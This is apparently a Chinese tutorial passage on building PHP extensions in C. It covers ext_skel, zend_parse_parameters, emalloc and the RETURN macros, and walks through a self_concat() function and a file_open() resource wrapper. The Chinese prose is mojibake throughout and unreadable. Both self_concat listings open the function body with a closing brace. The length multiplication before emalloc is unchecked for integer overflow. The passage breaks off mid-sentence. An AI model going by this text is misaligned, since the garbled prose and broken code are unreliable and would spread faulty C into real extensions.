+<code> +string self_concat(string str, int n) +</code> + +函数定义文件的一般格å¼æ˜¯ä¸€ä¸ªå‡½æ•°ä¸€è¡Œã€‚ä½ å¯ä»¥å®šä¹‰å¯é€‰å‚数和使用大é‡çš„PHP类型,包括: bool, float, int, array 等。 + + +ä¿å­˜ä¸ºmyfunctions.def文件至PHP原代ç ç›®å½•æ ‘下。 + + +该是通过扩展骨架(skeleton)构造器è¿è¡Œå‡½æ•°å®šä¹‰æ–‡ä»¶çš„时机了。该构造器脚本å«ext_skel,放在PHP原代ç ç›®å½•æ ‘çš„ ext/ 目录下(PHP原ç ä¸»ç›®å½•ä¸‹çš„README.EXT_SKELæ供了更多的信æ¯ï¼‰ã€‚å‡è®¾ä½ æŠŠå‡½æ•°å®šä¹‰ä¿å­˜åœ¨ä¸€ä¸ªå«åšmyfunctions.def的文件里,而且你希望把扩展å–å为myfunctions,è¿è¡Œä¸‹é¢çš„命令æ¥å»ºç«‹æ‰©å±•éª¨æž¶ + + +<code> +./ext_skel --extname=myfunctions --proto=myfunctions.def +</code> + +这个命令在ext/目录下建立了一个myfunctions/目录。你è¦åšçš„第一件事情也许就是编译该骨架,以便编写和测试实际的C代ç ã€‚编译扩展有两ç§æ–¹æ³•ï¼š +作为一个å¯è£…载模å—或者DSO(动æ€å…±äº«å¯¹è±¡ï¼‰ + +é™æ€ç¼–译到PHP + + +**PHP扩展开å‘导图(原图)** + +{{:php_extension.jpg|php_extension.jpg}} +\\ +因为第二ç§æ–¹æ³•æ¯”较容易上手,所以本章采用é™æ€ç¼–译。如果你对编译å¯è£…载扩展模å—感兴趣,å¯ä»¥é˜…读PHP原代ç æ ¹ç›®å½•ä¸‹çš„README.SELF- CONTAINED_EXTENSIONS文件。为了使扩展能够被编译,需è¦ä¿®æ”¹æ‰©å±•ç›®å½•ext/myfunctions/下的config.m4文件。扩展没有包裹任何外部的C库,你需è¦æ·»åŠ æ”¯æŒâ€“enable-myfunctionsé…置开关到PHP编译系统里(–with-extension 开关用于那些需è¦ç”¨æˆ·æŒ‡å®šç›¸å…³C库路径的扩展)。å¯ä»¥åŽ»æŽ‰è‡ªåŠ¨ç”Ÿæˆçš„下é¢ä¸¤è¡Œçš„注释æ¥å¼€å¯è¿™ä¸ªé…置。 + + +<code> +./ext_skel --extname=myfunctions --proto=myfunctions.def +PHP_ARG_ENABLE(myfunctions, whether to enable myfunctions support, + +[ --enable-myfunctions Include myfunctions support]) +</code> + +\\ +现在剩下的事情就是在PHP原代ç æ ‘根目录下è¿è¡Œ./buildconf,该命令会生æˆä¸€ä¸ªæ–°çš„é…置脚本。通过查看./configure –help输出信æ¯ï¼Œå¯ä»¥æ£€æŸ¥æ–°çš„é…置选项是å¦è¢«åŒ…å«åˆ°é…置文件中。现在,打开你喜好的é…置选项开关和–enable-myfunctionsé‡æ–°é…置一下PHP。最åŽçš„但ä¸æ˜¯æœ€æ¬¡è¦çš„是,用makeæ¥é‡æ–°ç¼–译PHP。 + + +\\ +ext_skel应该把两个PHP函数添加到你的扩展骨架了:打算实现的self_concat()函数和用于检测myfunctions 是å¦ç¼–译到PHPçš„confirm_myfunctions_compiled()函数。完æˆPHP的扩展开å‘åŽï¼Œå¯ä»¥æŠŠåŽè€…去掉。 + + +<code> +<?php +print confirm_myfunctions_compiled("myextension"); +?> +</code> + +\\ +è¿è¡Œè¿™ä¸ªè„šæœ¬ä¼šå‡ºçŽ°ç±»ä¼¼ä¸‹é¢çš„输出: + + +<code> +"Congratulations! You have successfully modified ext/myfunctions + +config.m4. Module myfunctions is now compiled into PHP." +</code> + +\\ +å¦å¤–,ext_skel脚本生æˆä¸€ä¸ªå«myfunctions.php的脚本,你也å¯ä»¥åˆ©ç”¨å®ƒæ¥éªŒè¯æ‰©å±•æ˜¯å¦è¢«æˆåŠŸåœ°ç¼–译到PHP。它会列出该扩展所支æŒçš„所有函数。 + + +\\ +现在你学会如何编译扩展了,该是真正地研究self_concat()函数的时候了。 下é¢å°±æ˜¯ext_skel脚本生æˆçš„骨架结构: + + +<code> +/* {{{ proto string self_concat(string str, int n) + +*/ + +PHP_FUNCTION(self_concat) + +} + +char *str = NULL; + +int argc = ZEND_NUM_ARGS(); + +int str_len; + +long n; + +if (zend_parse_parameters(argc TSRMLS_CC, "sl", &str, &str_len, &n) == FAILURE) + +return; + +php_error(E_WARNING, "self_concat: not yet implemented"); + +} + +/* }}} */ +</code> + +\\ +自动生æˆçš„PHP函数周围包å«äº†ä¸€äº›æ³¨é‡Šï¼Œè¿™äº›æ³¨é‡Šç”¨äºŽè‡ªåŠ¨ç”Ÿæˆä»£ç æ–‡æ¡£å’Œviã€Emacs等编辑器的代ç æŠ˜å ã€‚å‡½æ•°è‡ªèº«çš„å®šä¹‰ä½¿ç”¨äº†å® PHP_FUNCTION(),该å®å¯ä»¥ç”Ÿæˆä¸€ä¸ªé€‚åˆäºŽZend引擎的函数原型。逻辑本身分æˆè¯­ä¹‰å„部分,å–得调用函数的å‚数和逻辑本身。 + + +\\ +为了获得函数传递的å‚数,å¯ä»¥ä½¿ç”¨zend_parse_parameters()API函数。下é¢æ˜¯è¯¥å‡½æ•°çš„原型: + + +<code> +zend_parse_parameters(int num_args TSRMLS_DC, char *type_spec, …); +</code> + +\\ +第一个å‚数是传递给函数的å‚数个数。通常的åšæ³•æ˜¯ä¼ ç»™å®ƒZEND_NUM_ARGS()。这是一个表示传递给函数å‚数总个数的å®ã€‚第二个å‚数是为了线程安全,总是传递TSRMLS_CCå®ï¼ŒåŽé¢ä¼šè®²åˆ°ã€‚第三个å‚数是一个字符串,指定了函数期望的å‚数类型,åŽé¢ç´§è·Ÿç€éœ€è¦éšå‚数值更新的å˜é‡åˆ—表。因为PHP 采用æ¾æ•£çš„å˜é‡å®šä¹‰å’ŒåŠ¨æ€çš„类型判断,这样åšå°±ä½¿å¾—把ä¸åŒç±»åž‹çš„å‚数转化为期望的类型æˆä¸ºå¯èƒ½ã€‚例如,如果用户传递一个整数å˜é‡ï¼Œå¯å‡½æ•°éœ€è¦ä¸€ä¸ªæµ®ç‚¹æ•°ï¼Œé‚£ä¹ˆzend_parse_parameters()就会自动地把整数转æ¢ä¸ºç›¸åº”的浮点数。如果实际值无法转æ¢æˆæœŸæœ›ç±»åž‹ï¼ˆæ¯”如整形到数组形),会触å‘一个警告。 + + +\\ +下表列出了å¯èƒ½æŒ‡å®šçš„类型,从完整性考虑也列出了一些没有讨论到的类型。 + + + +Tabulka: **æ•°æ®ç±»åž‹** + +|类型指定符|对应的C类型|æè¿°| +|l|long|符å·æ•´æ•°| +|d|double|浮点数| +|s|char *, int|字符指针,长度| +|b|zend_bool|布尔型(1或0)| +|r|zval *|资æºï¼ˆæ–‡ä»¶æŒ‡é’ˆï¼Œæ•°æ®åº“连接等)| +|a|zval *|è”åˆæ•°ç»„| +|o|zval *|ä¸å®šç±»åž‹å¯¹è±¡| +|O|zval *|指定类型的对象。需è¦æ供目标对象的类类型| +|z|zval *|无任何æ“作的zval| +\\ +为了容易地ç†è§£æœ€åŽå‡ ä¸ªé€‰é¡¹çš„å«ä¹‰ï¼Œä½ éœ€è¦çŸ¥é“zval是Zend引擎的值容器。无论这个å˜é‡æ˜¯å¸ƒå°”型,字符串型或者其他任何类型,其信æ¯æ€»ä¼šåŒ…å«åœ¨ä¸€ä¸ªzvalè”åˆä½“中。本章中我们ä¸ç›´æŽ¥å­˜å–zval,而是通过一些附加的å®æ¥æ“作。下é¢çš„是或多或少在C中的zval, 以便我们能更好地ç†è§£æŽ¥ä¸‹æ¥çš„代ç ã€‚ + + +<code> + typedef union _zval{ + long lval; + double dval; + struct { + char *val; + int len; + }str; + + HashTable *ht; + zend_object_value obj; + + }zval; +</code> + +\\ +在我们的例å­ä¸­ï¼Œæˆ‘们用基本类型调用zend_parse_parameters(),以本地C类型的方å¼å–得函数å‚数的值,而ä¸æ˜¯ç”¨zval容器。 + + +\\ +为了让zend_parse_parameters()能够改å˜ä¼ é€’给它的å‚数的值,并返回这个改å˜å€¼ï¼Œéœ€è¦ä¼ é€’一个引用。仔细查看一下self_concat(): + + +<code> +if (zend_parse_parameters(argc TSRMLS_CC, "sl", &str, &str_len, &n) == FAILURE) return; +</code> + +\\ +注æ„到自动生æˆçš„代ç ä¼šæ£€æµ‹å‡½æ•°çš„返回值FAILUER(æˆåŠŸå³SUCCESS)æ¥åˆ¤æ–­æ˜¯å¦æˆåŠŸã€‚如果没有æˆåŠŸåˆ™ç«‹å³è¿”回,并且由 zend_parse_parameters()负责触å‘警告信æ¯ã€‚因为函数打算接收一个字符串l和一个整数n,所以指定 â€sl†作为其类型指示符。s需è¦ä¸¤ä¸ªå‚数,所以我们传递å‚考char * å’Œ int (str å’Œ str_len)ç»™zend_parse_parameters()函数。无论什么时候,记得总是在代ç ä¸­ä½¿ç”¨å­—符串长度str_lenæ¥ç¡®ä¿å‡½æ•°å·¥ä½œåœ¨äºŒè¿›åˆ¶å®‰å…¨çš„环境中。ä¸è¦ä½¿ç”¨strlen()å’Œstrcpy(),除éžä½ ä¸ä»‹æ„函数在二进制字符串下ä¸èƒ½å·¥ä½œã€‚二进制字符串是包å«æœ‰nulls的字符串。二进制格å¼åŒ…括图象文件,压缩文件,å¯æ‰§è¡Œæ–‡ä»¶å’Œæ›´å¤šçš„其他文件。â€l†åªéœ€è¦ä¸€ä¸ªå‚数,所以我们传递给它n的引用。尽管为了清晰起è§ï¼Œéª¨æž¶è„šæœ¬ç”Ÿæˆçš„Cå˜é‡å与在函数原型定义文件中的å‚æ•°å一样;这样åšä¸æ˜¯å¿…须的,尽管在实践中鼓励这样åšã€‚ + + +\\ +回到转æ¢è§„则中æ¥ã€‚下é¢ä¸‰ä¸ªå¯¹self_concat()函数的调用使str, str_lenå’Œn得到åŒæ ·çš„值: + + +<code> +self_concat("321", 5); + +self_concat(321, "5"); + +self_concat("321", "5"); + +str points to the string "321", str_len equals 3, and n equals 5. + +str 指å‘字符串"321",str_len等于3,n等于5。 +</code> + +\\ +在我们编写代ç æ¥å®žçŽ°è¿žæŽ¥å­—符串返回给PHP的函数å‰ï¼Œè¿˜å¾—谈谈两个é‡è¦çš„è¯é¢˜ï¼šå†…存管ç†ã€ä»ŽPHP内部返回函数值所使用的API。 + + +===== å†…å­˜ç®¡ç† ===== +用于从堆中分é…内存的PHP API几乎和标准C API一样。在编写扩展的时候,使用下é¢ä¸ŽC对应(因此ä¸å¿…å†è§£é‡Šï¼‰çš„API函数: + + +<code> +emalloc(size_t size); + +efree(void *ptr); + +ecalloc(size_t nmemb, size_t size); + +erealloc(void *ptr, size_t size); + +estrdup(const char *s); + +estrndup(const char *s, unsigned int length); +</code> + +在这一点上,任何一ä½æœ‰ç»éªŒçš„C程åºå‘˜åº”该象这样æ€è€ƒä¸€ä¸‹ï¼šâ€œä»€ä¹ˆï¼Ÿæ ‡å‡†C没有strndup()?â€æ˜¯çš„,这是正确的,因为GNU扩展通常在Linux 下å¯ç”¨ã€‚estrndup()åªæ˜¯PHP下的一个特殊函数。它的行为与estrdup()相似,但是å¯ä»¥æŒ‡å®šå­—符串é‡å¤çš„次数(ä¸éœ€è¦ç»“æŸç©ºå­—符),åŒæ—¶æ˜¯äºŒè¿›åˆ¶å®‰å…¨çš„。这是推è使用estrndup()而ä¸æ˜¯estrdup()的原因。 + + +在几乎所有的情况下,你应该使用这些内存分é…函数。有一些情况,å³æ‰©å±•éœ€è¦åˆ†é…在请求中永久存在的内存,从而ä¸å¾—ä¸ä½¿ç”¨malloc(),但是除éžä½ çŸ¥é“你在åšä»€ä¹ˆï¼Œä½ åº”该始终使用以上的函数。如果没有使用这些内存函数,而相å使用标准C函数分é…的内存返回给脚本引擎,那么PHP会崩溃。 + + +这些函数的优点是:任何分é…的内存在å¶ç„¶æƒ…况下如果没有被释放,则会在页é¢è¯·æ±‚的最åŽè¢«é‡Šæ”¾ã€‚因此,真正的内存泄æ¼ä¸ä¼šäº§ç”Ÿã€‚然而,ä¸è¦ä¾èµ–这一机制,从调试和性能两个原因æ¥è€ƒè™‘,应当确ä¿é‡Šæ”¾åº”该释放的内存。剩下的优点是在多线程环境下性能的æ高,调试模å¼ä¸‹æ£€æµ‹å†…存错误等。 + + +还有一个é‡è¦çš„原因,你ä¸éœ€è¦æ£€æŸ¥è¿™äº›å†…存分é…函数的返回值是å¦ä¸ºnull。当内存分é…失败,它们会å‘出E_ERROR错误,从而决ä¸ä¼šè¿”回到扩展。 + + +===== 从PHP函数中返回值 ===== +扩展API包å«ä¸°å¯Œçš„用于从函数中返回值的å®ã€‚这些å®æœ‰ä¸¤ç§ä¸»è¦é£Žæ ¼ï¼šç¬¬ä¸€ç§æ˜¯RETVAL_type()å½¢å¼ï¼Œå®ƒè®¾ç½®äº†è¿”回值但C代ç ç»§ç»­æ‰§è¡Œã€‚这通常使用在把控制交给脚本引擎å‰è¿˜å¸Œæœ›åšçš„一些清ç†å·¥ä½œçš„时候使用,然åŽå†ä½¿ç”¨C的返回声明 â€return†返回到PHPï¼›åŽä¸€ä¸ªå®æ›´åŠ æ™®é,其形å¼æ˜¯RETURN_type(),他设置了返回类型,åŒæ—¶è¿”回控制到PHP。下表解释了大多数存在的å®ã€‚ + + +Tabulka: **** + +|设置返回值并且结æŸå‡½æ•°|设置返回值|å®è¿”回类型和å‚æ•°| +|RETURN_LONG(l)|RETVAL_LONG(l)|æ•´æ•°| +|RETURN_BOOL(b)|RETVAL_BOOL(b)|布尔数(1或0)| +|RETURN_NULL()|RETVAL_NULL()|NULL| +|RETURN_DOUBLE(d)|RETVAL_DOUBLE(d)|浮点数| +|RETURN_STRING(s, dup)|RETVAL_STRING(s, dup)|字符串。如果dup为1,引擎会调用estrdup()é‡å¤s,使用拷è´ã€‚如果dup为0,就使用s。| +|RETURN_STRINGL(s, l, dup)|RETVAL_STRINGL(s, l, dup)|长度为l的字符串值。与上一个å®ä¸€æ ·ï¼Œä½†å› ä¸ºs的长度被指定,所以速度更快。| +|RETURN_TRUE|RETVAL_TRUE|返回布尔值true。注æ„到这个å®æ²¡æœ‰æ‹¬å·ã€‚| +|RETURN_FALSE|RETVAL_FALSE|返回布尔值false。注æ„到这个å®æ²¡æœ‰æ‹¬å·ã€‚| +|RETURN_RESOURCE(r)|RETVAL_RESOURCE(r)|资æºå¥æŸ„。| +===== å®Œæˆ self_concat() ===== +现在你已ç»å­¦ä¼šäº†å¦‚何分é…内存和从PHP扩展函数里返回函数值,那么我们就能够完æˆself_concat()çš„ç¼–ç ï¼š + + +<code> +/* {{{ proto string self_concat(string str, int n) + +*/ + +PHP_FUNCTION(self_concat) + +} + +char *str = NULL; + +int argc = ZEND_NUM_ARGS(); + +int str_len; + +long n; + +char *result; /* Points to resulting string */ + +char *ptr; /* Points at the next location we want to copy to */ + +int result_length; /* Length of resulting string */ + +if (zend_parse_parameters(argc TSRMLS_CC, "sl", &str, &str_len, &n) == FAILURE) + +return; + +/* Calculate length of result */ + +result_length = (str_len * n); + +/* Allocate memory for result */ + +result = (char *) emalloc(result_length + 1); + +/* Point at the beginning of the result */ + +ptr = result; + +while (n--) { + +/* Copy str to the result */ + +memcpy(ptr, str, str_len); + +/* Increment ptr to point at the next position we want to write to */ + +ptr += str_len; + +} + +/* Null terminate the result. Always null-terminate your strings + +even if they are binary strings */ + +*ptr = '\0'; + +/* Return result to the scripting engine without duplicating it*/ + +RETURN_STRINGL(result, result_length, 0); + +} + +/* }}} */ +</code> + +现在è¦åšçš„就是é‡æ–°ç¼–译一下PHP,这样就完æˆäº†ç¬¬ä¸€ä¸ªPHP函数。 + + +让我门检查函数是å¦çœŸçš„工作。在最新编译过的PHP树下执行 +译者:å¯ä»¥ä½¿ç”¨phpcli程åºåœ¨æŽ§åˆ¶å°é‡Œæ‰§è¡Œphp文件。 + +下é¢çš„脚本: + + +<code> +<?php +for ($i = 1; $i <= 3; $i++){ + print self_concat("ThisIsUseless", $i); + print "\n"; +} +?> +</code> + +你应该得到下é¢çš„结果: + + +<code> +ThisIsUseless + +ThisIsUselessThisIsUseless + +ThisIsUselessThisIsUselessThisIsUseless +</code> + +===== 实例å°ç»“ ===== +ä½ å·²ç»å­¦ä¼šå¦‚何编写一个简å•çš„PHP函数。回到本章的开头,我们æ到用C编写PHP功能函数的两个主è¦çš„动机。第一个动机是用C实现一些算法æ¥æ高性能和扩展功能。å‰ä¸€ä¸ªä¾‹å­åº”该能够指导你快速上手这ç§ç±»åž‹æ‰©å±•çš„å¼€å‘。第二个动机是包裹三方函数库。我们将在下一步讨论。 + +===== 引入第三方扩展 ===== +本节中你将学到如何编写更有用和更完善的扩展。该节的扩展包裹了一个C库,展示了如何编写一个å«æœ‰å¤šä¸ªäº’相ä¾èµ–çš„PHP函数扩展。 + +==== 动机 ==== +也许最常è§çš„PHP扩展是那些包裹第三方C库的扩展。这些扩展包括MySQL或Oracleçš„æ•°æ®åº“æœåŠ¡åº“,libxml2çš„ XML技术库,ImageMagick 或GD的图形æ“纵库。 + + +在本节中,我们编写一个扩展,åŒæ ·ä½¿ç”¨è„šæœ¬æ¥ç”Ÿæˆéª¨æž¶æ‰©å±•ï¼Œå› ä¸ºè¿™èƒ½èŠ‚çœè®¸å¤šå·¥ä½œé‡ã€‚这个扩展包裹了标准C函数fopen(), fclose(), fread(), fwrite()å’Œ feof(). + + +扩展使用一个被å«åšèµ„æºçš„抽象数æ®ç±»åž‹ï¼Œç”¨äºŽä»£è¡¨å·²æ‰“开的文件FILE*。你会注æ„到大多数处ç†æ¯”如数æ®åº“连接ã€æ–‡ä»¶å¥æŸ„等的PHP扩展使用了资æºç±»åž‹ï¼Œè¿™æ˜¯å› ä¸ºå¼•æ“Žè‡ªå·±æ— æ³•ç›´æŽ¥â€œç†è§£â€å®ƒä»¬ã€‚我们计划在PHP扩展中实现的C API列表如下: + + +<code> +FILE *fopen(const char *path, const char *mode); + +int fclose(FILE *stream); + +size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream); + +size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream); + +int feof(FILE *stream); +</code> + +我们实现这些函数,使它们在命å习惯和简å•æ€§ä¸Šç¬¦åˆPHP脚本。如果你曾ç»å‘PHP社区贡献过代ç ï¼Œä½ è¢«æœŸæœ›éµå¾ªä¸€äº›å…¬å…±ä¹ ä¿—,而ä¸æ˜¯è·ŸéšC库里的 API。并ä¸æ˜¯æ‰€æœ‰çš„习俗都写在PHP代ç æ ‘çš„CODING_STANDARDS文件里。这å³æ˜¯è¯´ï¼Œæ­¤åŠŸèƒ½å·²ç»ä»ŽPHPå‘展的很早阶段å³è¢«åŒ…å«åœ¨PHP 中,并且与C库API类似。PHP安装已ç»æ”¯æŒfopen(), fclose()和更多的PHP函数。 + + +以下是PHP风格的API: + + +<code> +resource file_open(string filename, string mode) + +file_open() //接收两个字符串(文件å和模å¼ï¼‰ï¼Œè¿”回一个文件的资æºå¥æŸ„。 + +bool file_close(resource filehandle) + +file_close() //接收一个资æºå¥æŸ„,返回真/å‡æŒ‡ç¤ºæ˜¯å¦æ“作æˆåŠŸã€‚ + +string file_read(resource filehandle, int size) + +file_read() //接收一个资æºå¥æŸ„和读入的总字节数,返回读入的字符串。 + +bool file_write(resource filehandle, string buffer) + +file_write() //接收一个资æºå¥æŸ„和被写入的字符串,返回真/å‡æŒ‡ç¤ºæ˜¯å¦æ“作æˆåŠŸã€‚ + +bool file_eof(resource filehandle) + +file_eof() //接收一个资æºå¥æŸ„,返回真/å‡æŒ‡ç¤ºæ˜¯å¦åˆ°è¾¾æ–‡ä»¶çš„尾部。 +</code> + +因此,我们的函数定义文件——ä¿å­˜ä¸ºext/目录下的myfile.def——内容如下: + + +<code> +resource file_open(string filename, string mode) + +bool file_close(resource filehandle) + +string file_read(resource filehandle, int size) + +bool file_write(resource filehandle, string buffer) + +bool file_eof(resource filehandle) +</code> + +下一步,利用ext_skel脚本在ext./ 原代ç ç›®å½•æ‰§è¡Œä¸‹é¢çš„命令: + + +<code> +./ext_skel --extname=myfile --proto=myfile.def +</code> + +然åŽï¼ŒæŒ‰ç…§å‰ä¸€ä¸ªä¾‹å­çš„关于编译新建立脚本的步骤æ“作。你会得到一些包å«FETCH_RESOURCE()å®è¡Œçš„编译错误,这样骨架脚本就无法顺利完æˆç¼–译。为了让骨架扩展顺利通过编译,把那些出错行 +译者:å¯ä»¥æŸ¥çœ‹åˆ°ç”Ÿæˆçš„FETCH_RESOURCE()å®å‚数是一些’???’。 + +注释掉å³å¯ã€‚ + + +==== èµ„æº ==== +资æºæ˜¯ä¸€ä¸ªèƒ½å®¹çº³ä»»ä½•ä¿¡æ¯çš„抽象数æ®ç»“构。正如å‰é¢æ到的,这个信æ¯é€šå¸¸åŒ…括例如文件å¥æŸ„ã€æ•°æ®åº“连接结构和其他一些å¤æ‚类型的数æ®ã€‚ + + +使用资æºçš„主è¦åŽŸå› æ˜¯å› ä¸ºï¼šèµ„æºè¢«ä¸€ä¸ªé›†ä¸­çš„队列所管ç†ï¼Œè¯¥é˜Ÿåˆ—å¯ä»¥åœ¨PHPå¼€å‘人员没有在脚本里é¢æ˜¾å¼åœ°é‡Šæ”¾æ—¶å¯ä»¥è‡ªåŠ¨åœ°è¢«é‡Šæ”¾ã€‚ + + +举个例å­ï¼Œè€ƒè™‘到编写一个脚本,在脚本里调用mysql_connect()打开一个MySQL连接,å¯æ˜¯å½“该数æ®åº“连接资æºä¸å†ä½¿ç”¨æ—¶å´æ²¡æœ‰è°ƒç”¨ mysql_close()。在PHP里,资æºæœºåˆ¶èƒ½å¤Ÿæ£€æµ‹ä»€ä¹ˆæ—¶å€™è¿™ä¸ªèµ„æºåº”当被释放,然åŽåœ¨å½“å‰è¯·æ±‚的结尾或通常情况下更早地释放资æºã€‚这就为å‡å°‘内存泄æ¼èµ‹äºˆäº†ä¸€ä¸ªâ€œé˜²å¼¹â€æœºåˆ¶ã€‚如果没有这样一个机制,ç»è¿‡å‡ æ¬¡web请求åŽï¼ŒwebæœåŠ¡å™¨ä¹Ÿè®¸ä¼šæ½œåœ¨åœ°æ³„æ¼è®¸å¤šå†…存资æºï¼Œä»Žè€Œå¯¼è‡´æœåŠ¡å™¨å½“机或出错。 + + +==== 注册资æºç±»åž‹ ==== +如何使用资æºï¼ŸZend引擎让使用资æºå˜åœ°éžå¸¸å®¹æ˜“。你è¦åšçš„第一件事就是把资æºæ³¨å†Œåˆ°å¼•æ“Žä¸­åŽ»ã€‚使用这个API函数: + + +<code> +int zend_register_list_destructors_ex(rsrc_dtor_func_t ld + , rsrc_dtor_func_t pld + , char *type_name + , int module_number) +</code> + +这个函数返回一个资æºç±»åž‹id,该id应当被作为全局å˜é‡ä¿å­˜åœ¨æ‰©å±•é‡Œï¼Œä»¥ä¾¿åœ¨å¿…è¦çš„时候传递给其他资æºAPI。ld:该资æºé‡Šæ”¾æ—¶è°ƒç”¨çš„函数。pld用于在ä¸åŒè¯·æ±‚中始终存在的永久资æºï¼Œæœ¬ç« ä¸ä¼šæ¶‰åŠã€‚type_name是一个具有æ述性类型å称的字符串,module_number为引擎内部使用,当我们调用这个函数时,我们åªéœ€è¦ä¼ é€’一个已ç»å®šä¹‰å¥½çš„module_numberå˜é‡ã€‚ + + +回到我们的例å­ä¸­æ¥ï¼šæˆ‘们会添加下é¢çš„代ç åˆ°myfile.c原文件中。该文件包括了资æºé‡Šæ”¾å‡½æ•°çš„定义,此资æºå‡½æ•°è¢«ä¼ é€’ç»™ zend_register_list_destructors_ex()注册函数(资æºé‡Šæ”¾å‡½æ•°åº”该æ早添加到文件中,以便在调用 zend_register_list_destructors_ex()时该函数已被定义): + + +<code> + static void myfile_dtor(zend_rsrc_list_entry *rsrc TSRMLS_DC){ + FILE *fp = (FILE *) rsrc->ptr; + fclose(fp); + } +</code> + +把注册行添加到PHP_MINIT_FUNCTION()åŽï¼Œçœ‹èµ·æ¥åº”该如下é¢çš„代ç ï¼š + + +<code> + PHP_MINIT_FUNCTION(myfile){ + /* If you have INI entries, uncomment these lines + ZEND_INIT_MODULE_GLOBALS(myfile, php_myfile_init_globals,NULL); + + REGISTER_INI_ENTRIES(); + */ + + le_myfile = zend_register_list_destructors_ex(myfile_dtor,NULL,"standard-c-file", module_number); + + return SUCCESS; + } +</code> + +== Poznámka: == +注æ„到le_myfile是一个已ç»è¢«ext_skel脚本定义好的全局å˜é‡ã€‚ + +PHP_MINIT_FUNCTION()是一个先于模å—(扩展)的å¯åŠ¨å‡½æ•°ï¼Œæ˜¯æš´éœ²ç»™æ‰©å±•çš„一部分API。下表æä¾›å¯ç”¨å‡½æ•°ç®€è¦çš„说明。 + + + +Tabulka: **函数声明å®** + +|函数声明å®|语义| +|PHP_MINIT_FUNCTION()|当PHP被装载时,模å—å¯åŠ¨å‡½æ•°å³è¢«å¼•æ“Žè°ƒç”¨ã€‚这使得引擎åšä¸€äº›ä¾‹å¦‚资æºç±»åž‹ï¼Œæ³¨å†ŒINIå˜é‡ç­‰çš„一次åˆå§‹åŒ–。| +|PHP_MSHUTDOWN_FUNCTION()|当PHP完全关闭时,模å—关闭函数å³è¢«å¼•æ“Žè°ƒç”¨ã€‚通常用于注销INIæ¡ç›®| +|PHP_RINIT_FUNCTION()|在æ¯æ¬¡PHP请求开始,请求å‰å¯åŠ¨å‡½æ•°è¢«è°ƒç”¨ã€‚通常用于管ç†è¯·æ±‚å‰é€»è¾‘。| +|PHP_RSHUTDOWN_FUNCTION()|在æ¯æ¬¡PHP请求结æŸåŽï¼Œè¯·æ±‚å‰å…³é—­å‡½æ•°è¢«è°ƒç”¨ã€‚ç»å¸¸åº”用在清ç†è¯·æ±‚å‰å¯åŠ¨å‡½æ•°çš„逻辑。| +|PHP_MINFO_FUNCTION()|调用phpinfo()时模å—ä¿¡æ¯å‡½æ•°è¢«å‘¼å«ï¼Œä»Žè€Œæ‰“å°å‡ºæ¨¡å—ä¿¡æ¯ã€‚| +æ–°å»ºå’Œæ³¨å†Œæ–°èµ„æº æˆ‘ä»¬å‡†å¤‡å®žçŽ°file_open()函数。当我们打开文件得到一个FILE *,我们需è¦åˆ©ç”¨èµ„æºæœºåˆ¶æ³¨å†Œå®ƒã€‚下é¢çš„主è¦å®å®žçŽ°æ³¨å†ŒåŠŸèƒ½ï¼š + + +<code> + ZEND_REGISTER_RESOURCE(rsrc_result, rsrc_pointer, rsrc_type); +</code> + + +Tabulka: **ZEND_REGISTER_RESOURCE å®å‚æ•°** + +|å®å‚æ•°|å‚数类型| +|rsrc_result|zval *, which should be set with the registered resource information. zval * 设置为已注册资æºä¿¡æ¯| +|rsrc_pointer|Pointer to our resource data. 资æºæ•°æ®æŒ‡é’ˆ| +|rsrc_type|The resource id obtained when registering the resource type. 注册资æºç±»åž‹æ—¶èŽ·å¾—的资æºid| +==== 文件函数 ==== +现在你知é“了如何使用ZEND_REGISTER_RESOURCE()å®ï¼Œå¹¶ä¸”准备好了开始编写file_open()函数。还有一个主题我们需è¦è®²è¿°ã€‚ + + +当PHPè¿è¡Œåœ¨å¤šçº¿ç¨‹æœåŠ¡å™¨ä¸Šï¼Œä¸èƒ½ä½¿ç”¨æ ‡å‡†çš„C文件存å–函数。这是因为在一个线程里正在è¿è¡Œçš„PHP脚本会改å˜å½“å‰å·¥ä½œç›®å½•ï¼Œå› æ­¤å¦å¤–一个线程里的脚本使用相对路径则无法打开目标文件。为了阻止这ç§é”™è¯¯å‘生,PHP框架æ供了称作VCWD (virtual current working directory 虚拟当å‰å·¥ä½œç›®å½•ï¼‰å®ï¼Œç”¨æ¥ä»£æ›¿ä»»ä½•ä¾èµ–当å‰å·¥ä½œç›®å½•çš„å­˜å–函数。这些å®ä¸Žè¢«æ›¿ä»£çš„函数具备åŒæ ·çš„功能,åŒæ—¶æ˜¯è¢«é€æ˜Žåœ°å¤„ç†ã€‚在æŸäº›æ²¡æœ‰æ ‡å‡†C函数库平å°çš„情况下,VCWD框架则ä¸ä¼šå¾—到支æŒã€‚例如,Win32下ä¸å­˜åœ¨chown(),就ä¸ä¼šæœ‰ç›¸åº”çš„VCWD_CHOWN()å®è¢«å®šä¹‰ã€‚ + + + +Tabulka: **VCWD列表** + +|标准C库|VCWDå®| +|getcwd()|VCWD_GETCWD()| +|fopen()|VCWD_FOPEN| +|open()|VCWD_OPEN() //用于两个å‚数的版本| +|open()|VCWD_OPEN_MODE() //用于三个å‚æ•°çš„open()版本| +|creat()|VCWD_CREAT()| +|chdir()|VCWD_CHDIR()| +|getwd()|VCWD_GETWD()| +|realpath()|VCWD_REALPATH()| +|rename()|VCWD_RENAME()| +|stat()|VCWD_STAT()| +|lstat()|VCWD_LSTAT()| +|unlink()|VCWD_UNLINK()| +|mkdir()|VCWD_MKDIR()| +|rmdir()|VCWD_RMDIR()| +|opendir()|VCWD_OPENDIR()| +|popen()|VCWD_POPEN()| +|access()|VCWD_ACCESS()| +|utime()|VCWD_UTIME()| +|chmod()|VCWD_CHMOD()| +|chown()|VCWD_CHOWN()| +==== 编写利用资æºçš„第一个PHP函数 ==== +实现file_open()应该éžå¸¸ç®€å•ï¼Œçœ‹èµ·æ¥åƒä¸‹é¢çš„æ ·å­ï¼š + + +<code> + PHP_FUNCTION(file_open){ + char *filename = NULL; + char *mode = NULL; + int argc = ZEND_NUM_ARGS(); + int filename_len; + int mode_len; + FILE *fp; + + if (zend_parse_parameters(argc TSRMLS_CC, "ss", &filename,&filename_len, &mode, &mode_len) == FAILURE) { + return; + } + + fp = VCWD_FOPEN(filename, mode); + + if (fp == NULL) { + RETURN_FALSE; + } + + ZEND_REGISTER_RESOURCE(return_value, fp, le_myfile); + } +</code> + +ä½ 